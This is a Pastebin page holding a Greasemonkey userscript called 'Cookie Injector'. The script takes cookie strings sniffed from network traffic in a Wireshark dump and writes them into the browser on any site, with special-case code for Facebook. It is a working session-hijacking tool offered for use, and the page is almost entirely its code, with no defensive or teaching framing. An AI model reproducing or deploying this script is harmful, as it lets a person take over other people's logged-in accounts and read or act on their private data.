Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // ==UserScript==
- // @name Cookie Injector
- // @namespace BearsWithWings
- // @description Inject Cookie String From Wireshark Dump Into Any Webpage
- // @version 2.0
- // @include *
- // @exclude https?://gmail.com/*
- // @exclude https?://mail.google.com/*
- // ==/UserScript==
- //Anonomyous function wrapper
- (function (){
- //Ensure that there is only one instance of the cookieInjector Object
- if(typeof this["cookieInjector"] == "undefined"){
- cookieInjector = {};
- }
- //Make a local refrence to the cookie Injector object to save on typing
- var cI = cookieInjector;
- //Make the cookieInjector object globally viewable
- unsafeWindow['cookieInjector'] = cI;
- /**
- * Gets the wireshark dump string and converts it into cookies
- */
- cI.writeCookie = function(){
- var name = prompt("Cookie", "Enter the cookie here:");
- var cookieText = cI.cleanCookie(name);
- //We have to add the cookies one at a time, so split around the colin
- var cookieArray = cookieText.split(";");
- for(var x=0; x<cookieArray.length; x++){
- //We want the path to be the root, the host is filled in automatically
- //since we are on the same webpage that we captured the cookies on
- if (window.location.hostname=='www.facebook.com') {
- document.cookie = cookieArray[x]+"; domain=.facebook.com";
- } else {
- document.cookie = cookieArray[x]+"; path=/";
- }
- }
- }
- /**
- * Do a little big of cleanup on the cookie string, Mostly we are looking
- * To get rid of the "Cookie: " string that Wireshark prepends to the cookie string
- */
- cI.cleanCookie = function(cookieText){
- var cookie = cookieText.replace("Cookie: ","");
- return cookie;
- }
- /**
- * Handle all keypresses, we are looking for an ALT-C key-combo. Since we can't detect
- * Two keys being pressed at the same time, we first make sure the ALT key was pressed
- * then we wait to see if the C key is pressed next
- */
- cI.keyPress = function (e){
- //Check to see if "C" is pressed after ALT
- if(e.keyCode == 67 && cI.ctrlFire){
- cI.writeCookie();
- }
- //Make sure the Alt key was previously depressed
- if(e.keyCode == 18){
- cI.ctrlFire = true;
- }else{
- cI.ctrlFire = false;
- }
- }
- window.addEventListener('keydown', cI.keyPress,'false');
- })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement